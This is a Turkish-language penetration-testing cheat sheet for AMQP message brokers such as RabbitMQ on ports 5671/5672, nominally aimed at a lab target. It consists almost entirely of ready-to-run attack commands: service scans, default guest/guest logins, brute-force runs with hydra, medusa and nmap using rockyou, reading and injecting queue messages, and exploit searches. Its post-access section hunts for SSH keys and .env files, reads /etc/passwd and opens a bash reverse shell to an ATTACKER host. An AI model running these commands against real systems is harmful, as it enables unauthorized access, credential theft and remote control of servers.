5671,5672 - Pentesting AMQP

AMQP messaging

AMQP broker (RabbitMQ vb.) guest/guest veya zayıf vhost ile mesaj ve credential sızdırır. Hedef lab IP’si üzerinde komutları 5671 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 5672/5671 doğrula.

2. guest/guest ve TLS.

3. Queue consume.

4. Mesaj inject / routing abuse.

Keşif

nmap -Pn -sV -p5671,5672 TARGET

amqp-declare-queue --server=TARGET --username=guest --password=guest

python3 -c 'import pika;c=pika.BlockingConnection(pika.ConnectionParameters("TARGET"));print(c);c.close()'

Auth

guest/guest only from localhost often — test anyway

hydra -L users.txt -P pass.txt TARGET amqp

Messages

amqp-consume --server=TARGET -q queue -u guest -p guest

amqp-publish -r routing.key -b 'payload'

Derin enum

,5672 - AMQP için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p5671,5672 TARGET

nmap -Pn -p5671 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:5671' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',5671));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → ,5672 - AMQP

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 5671 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 5671

nmap -p5671 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit AMQP

msfconsole -q -x 'search AMQP; exit'

nuclei -u https://TARGET:5671 -t cves/ -silent -severity || true

nuclei -u http://TARGET:5671 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 5671

printf '
' | timeout 3 nc -nv TARGET 5671

curl -vk --http1.0 http://TARGET:5671/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

AMQP login → consume secrets → publish malicious jobs